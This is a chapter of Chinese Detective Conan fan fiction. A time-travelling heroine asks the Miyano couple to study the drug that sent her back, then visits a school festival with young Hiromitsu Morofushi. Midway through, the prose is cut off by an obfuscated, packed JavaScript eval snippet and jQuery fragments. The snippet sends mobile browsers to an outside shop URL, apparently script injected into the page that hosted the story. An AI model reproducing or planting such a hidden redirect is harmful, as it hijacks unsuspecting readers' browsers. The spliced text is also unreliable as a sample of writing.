“我服下的药物,是在你们两位的研究基础上改良出的变体。它的功效,就是让我穿越到了,对我来说的16年前……”
流川玄奈简单讲了些未来会发生的事。
那两人怔愣地听完,已经相信了大半,宫野艾莲娜先开口:“这真是……太不可思议了。流川小姐穿越前也是现在的年纪吗?身体没有任何不适吗?”
流川玄奈点头,认真阐述着:“相反,我甚至感觉自己更加健康,像是睡眠质量好了不少。”
宫野厚司也在重新打量着她,确实,比起上次见面,流川玄奈的气色要好了不少。
他想了想,开口道:“按照你的描述,这种效果几乎等同于时间回溯,而且没有明显副作用……”他喃喃道,“不行,你必须留下来做一次全面检查,不过我们的小诊所也许查不出什么——
干脆去杯户医院,我在那里有熟人,现在这个时间应该还能安排一套完整体检。”
“冷静一点,厚司。”宫野艾莲娜安抚着爱人,她大概已经猜到了什么,看向流川玄奈。
流川玄奈缓了口气。
“我希望你们帮我查清楚这种变体药物的具体特性。这样,你们也不必再加入组织搞研究了,不是吗?”
流川玄奈观察着两人波澜起伏的表情,平静地说出自己的想法,“我服用的药物来源于你们,这不也是在追求你们的梦想吗?”
“这点我求之不得,”宫野厚司坦然承认,随即为难地,帮刚刚想好的决定说出,“只是,我们一家这几天就会离开这里。”
他看向妻子,把刚刚想好的决定说出:“虽然不知道你和我们未来有什么交集,但现在,我们没有和那个组织作对的打算。”
宫野艾莲娜似乎也默许了这个决定……刚刚的对话里,信息量太大了。
流川玄奈点头:“放心,药物可以带到别的地方继续研究。”
她的目的才达到一半……她能理解宫野夫妇的为难,便也换了策略,顺着刚才的对话突然提问:“请问,你们两位为什么要追求这个梦想?”
那两人颇为为难地对视着,流川玄奈立刻了然:“没事,不想说也没关系。”
她的表情没怎么变化表示,继续补充着合作内容:“我服下的药物什么残留都没有,能给你们研究的,只有这个。”
她从包里取出一个小瓶子,里面安放着两枚保存完好的胶囊。
“这是你们共同研发的,有关细胞程序性死亡药物,名字暂时为APTX-4869。据我所知,和你们的研究初衷相反,这款药物的所有服用者无一例外,全都死了。”
空气变得沉闷。
流川玄奈继续解释着,她压抑着情绪:“因为不会留下任何痕迹的特性很符合组织的作风,你们的研究被作为杀人毒药使用,在世界各地留下了很多悬案。”
宫野厚司忍不住发抖——这种可能性,他不是没有预测到过。只是没想到乌丸集团远比自己想得要阴暗。
他虽然有着‘疯狂科学家’的称号,但并没有想要打破社会谋杀他人的恶念,更别提本就善良的宫野艾莲娜了。
“……可恶。”
宫野厚司有些失控,他低声咒骂着,随即接过流川玄奈递来的瓶子,又从桌上立刻拿起什么,就往房间里走去。
等待宫野厚司检验药物的时间里,宫野艾莲娜也在平复着呼吸,像是为了缓和气氛,她和流川玄奈闲聊了几句。
“……说起来,流川小姐实际上应该是和明美是一个年纪吧?真有趣啊,你在的时空里,她还好吗?”
流川玄奈微微一顿,想了想,决定实话实说:“她生活不错,我穿越前,她正在和一个像我一样的组织成员谈恋爱,我不知道这算不算幸福。”
对一个母亲而言,听到女儿无法脱离组织、不得不与罪犯为伍,实在过于残酷。
意识到这点,流川玄奈主动转移了话题:“还是说回你们两位吧?你们会在两年后离世,应该是组织的内部派系冲突导致的,因此,我赞成你们先去国外逃命。”
宫野艾莲娜的表情比刚才还要难看了。
流川玄奈看在眼里,在那个组织面前,已经被盯上的宫野夫妇就算选择逃避也未必有用……他们如果愿意一起对抗组织那自然最好,不愿意的话,也不会再加入组织了。
“这样啊……我姐姐在英国。去那里,或许确实是个选择。”明明刚刚知道极其可信的,有关自己的死讯,宫野艾莲娜在流川玄奈面前打起精神,她的理性在宽慰着她。
她开始为流川玄奈做基础检查,同时询问服药后的时间线与细节变化。
流川玄奈没有隐瞒:“我找到的资料就是这些……实验中偶然出现过疑似时间溯回的现象,我赌对了,就来到这里了。”
宫野艾莲娜性情温和,在加入组织后也曾与年幼的流川玄奈说过话。
流川玄奈把自己和苏格兰服药,药物间的联动关系,还记得的实验记录一次性说清楚。
“已经死去的人复活……”宫野艾莲娜撑着下巴思考,“会不会是你的执念在推动呢?”
流川玄奈惊讶,不理解,但还是礼貌地提问:“请别开玩笑了,执念这种存在于人心,虚无缥缈的东西,怎么可能能影响药物呢?”
宫野艾莲娜摇摇头,说出和常识完全相悖的推测:“我起先也是这么想,只是,最近学界里,泉镜一先生的研究就提到了,人在极端强烈的愿望之下,体内可能生成某种特殊物质……
如果未来有办法可以强化、利用、分解这些物质的话,说不定就会改变人体对药物的吸收。也就是说——”
流川玄奈轻声接上:
“执念,会影响药效。”
宫野艾莲娜再次看向她,目光温柔又复杂:“你的执念是苏格兰吧?这只是我的一种猜测,你服下的是两种药物,一种将执念放大,同时,你服下的另一枚药物因此改变,你得到了超乎预期的,穿越时间的机会。
同理,药效也会受到另一位服用者影响。考虑到你目前的身体状况一切正常,因此,我猜测,你应该还能在这个时空停留很久,直到,
直到那位还不叫苏格兰的小朋友,过上他真正期望的生活。”
流川玄奈顺着她的话思考着,对医药了解不多,如果这个猜测正确的话……
也就是说,如果是游戏的话,那她接下来要做的,大概就是把苏格兰的幸福值指数,一点点刷满。
刷数值啊,
【流川玄奈现在的数值是:】
【综合推理值90分,观察力90分,行动力90分,理性值40分,信任度10分,好感度10分】
“玄奈姐真是太厉害了!”
“是啊小弟弟,这个总分应该是文化祭一天下来,目前看到的最高分了!”
负责项目的男高中生一脸激动地对着诸伏景光夸个不停,又忍不住看向流川玄奈:“这位姐姐,你到底是做什么工作的啊?”
她还没回答,一旁,另一个打扮时髦的金发男高中生从人群里走出来,像漫画常见的那样,手里还拿着朵装束花束,带着习惯性被关注的自信,将流川玄奈面前的男高中生挤开。
“这位姐姐,比起工作,我更好奇,”另一个打扮时髦的金发男高中生,拿着装饰用的花朵,“比起工作,我更好奇,这位姐姐是哪个学校的?你的推理能力真的很厉害。”
他顿了顿,自然地递出花枝与话锋:“如果不介意的话,能留个联系方式吗?”
这也是诸伏高明的同学?!
流川玄奈眉头微皱:“我介意。”
除了习以为常的诸伏景光,周围所有人的表情都凝固了。
不愧是能在推理游戏中,把所有npc好感度都扣得只剩10分的人。
流川玄奈就这样在众人的目送中,带着诸伏景光离开了教室。
——
接下来要去诸伏高明的班级找他……
【一年A班女仆咖啡厅】
流川玄奈拉着诸伏景光按着指示图走到了这里。
她对日本的女仆文化并不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254634|197161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喜欢,这里的空气本来就很难闻。
甜腻、吵闹、社交密度过高。
隔着门口的帘幕望进去,全是清一色的黑白女仆装。只是穿着的人个个都不寻常,各种型号的男高中生无论高矮胖瘦全被塞进丝袜短裙里,配上猫耳假发还有奇怪的服务态度。
她怎么能带诸伏景光进去啊?!
她迅速看了一圈,这些人中,最瞩目的自然是大和敢助。
他显然已经彻底摆烂了。围裙外系上了校服外套,鞋子也换回了拖鞋,此刻正理直气壮地瞪着两个学生模样的客人:“喂,你们两个,还不快点付钱。”
这又是什么服务态度啊?
就在这时,他注意到了带着诸伏景光的流川玄奈。
“哟,欢迎光临——客人、大、人。”
说完他还蹲下来,似乎想和诸伏景光打招呼。流川玄奈反应力极快地捂住诸伏景光眼睛,不这么做说不定会留下心理阴影啊!
大和敢助的脸色理所当然地更加难看了:“流川——”
“笨蛋阿敢,你裙子走光了。”突然说话的是一个和诸伏景光差不多年纪的丸子头女孩。
“吵死了,我不是叫你不要呆在这里看我笑话吗?”大和敢助说完,向流川玄奈介绍道,“这家伙从小到大都爱粘着我,她叫上原由衣。”
“由衣,初次见面。”
“这位是高明家的小姑,流川。”
“流川姐中午好,还有——隔壁班的景光,原来你就是高明的弟弟啊。”上原由衣笑着走了过去,“我听阿敢说,你是两周前搬回来的,没想到我们在一个学校啊。”
诸伏景光被突然的热情弄得有点不知所措,下意识看向流川玄奈。流川玄奈笑着拍了拍他。
趁着两个小孩子结交新朋友的劲头上,流川玄奈看了看四周,迅速低声问道:“高明不在这里吧?”
大和敢助嘴角抽了抽:“你能先收敛一下脸上对我现在这身打扮的嫌弃吗?”
“啊。抱歉。”
毫无诚意。
大和敢助放弃挣扎,想到诸伏高明,他露出了一个幸灾乐祸的笑:“高明那家伙比我倒霉多了,我等着下午舞台剧看他出糗。你就敬请期待吧。”
怎么出糗都比在女仆咖啡厅好,那个画面——她不自觉想到苏格兰如果女仆装,嘶。
“对了,流川,流川。”
大和敢助把她叫回现实,“麻烦你,带上原这家伙去别的地方好吗?”
上原由衣对自家竹马的话很不满意:“就算阿敢你不这么说,我也会跟着玄奈姐走的。”
诸伏景光好奇:“为什么?”
上原由衣眼睛一亮:“我听甲斐先生说过哦——流川小姐帮忙破过虎田案件,超级厉害的!那个案子阿敢回去之后还想了好久——”
大和敢助装作不耐烦地摆手:“是是是,那你现在觉得,甲斐先生和流川小姐哪个更厉害。”
上原由衣愣了愣,支支吾吾的样子。
大和敢助的语气更加别扭了,他向流川玄奈介绍道:“这家伙其实更喜欢甲斐先生,她说过长大了要当甲斐先生的新娘子这种话!我没说错吧?”
上原由衣脸红了。
大和敢助继续装作后知后觉,一副相当欠揍的样子:“啊,我忘记了,这是小由衣三年级时说的胡话,现在的由衣已经四年级了,才不会这么说——”
“是啊,对于笨蛋阿敢!我就是结过婚死了丈夫也不会嫁给你的!”
上原由衣狠狠地瞪着大和敢助,
这个时候要怎么劝架?流川玄奈想都不用想,评价道:“明智的选择。”
大和敢助:“喂?!”
“不过,由衣,”流川玄奈想了想,补充道,“结婚的话,是不可以挂在嘴边随便许诺的,”
“因为……”
话到嘴边,流川玄奈忽然停下。
因为什么?
心口莫名一紧,脑海里迅速闪过一片模糊的画面。
某段记忆不合时宜地浮上来。